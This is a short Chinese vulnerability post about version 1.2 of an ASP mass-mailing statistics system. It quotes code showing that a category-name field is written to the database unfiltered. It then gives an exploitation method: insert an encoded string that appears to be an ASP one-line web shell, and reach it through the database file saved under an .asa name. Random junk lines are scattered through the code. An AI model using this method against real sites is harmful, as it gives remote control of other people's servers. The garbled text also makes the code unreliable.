铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp
6 f: q/ b; _% z9 ]- E) c. p
  L8 i; V2 z. l  M* R9 {, ~) @* vIF Request.QueryString("Action")="del" Then
ID=Request.QueryString("ID")
% b% `& }' d2 d& u0 M& y4 |" q6 oIF Countss ("tui","Fenlei",ID )<>0 then
9 X0 I/ k; P* O2 E. D2 G. ^' T'略
IF Request.QueryString("Action")="Add" Then
, I5 Q- O! Q1 E0 G9 R+ M. jTname=Request.Form("Typename")
1 n/ h" L0 H8 o) D3 q1 k* r3 uSet Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,3
6 r8 b7 U" A+ M  H0 sRs.Addnew
Rs("Typename")=Tname
'略
Set Rs=Server.CreateObject("adodb.Recordset")
' x( e# B1 M+ V* g1 FSql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,1
'略
%>



0 |, Y0 X; E# I, W( B2 D* C/ ~8 G没有过滤，直接写入数据库。
  i6 R. I, g- ~: K0 M) G" R
  Q- }+ c& ]# y0 f利用方法：
3 E& O  t6 \0 a/ Q: E- ?5 b- B
插入：┼攠數畣整爠煥敵瑳∨≡┩>
6 W4 P+ b/ M1 M
( g* \% d. q, K# Y( F2 e9 ]
连接： http://www.xxx.com/###tongbaner.asa
'默认安装文件：
'install.asp
6 s$ `3 G, O( y/ |: K0 H, D+ ^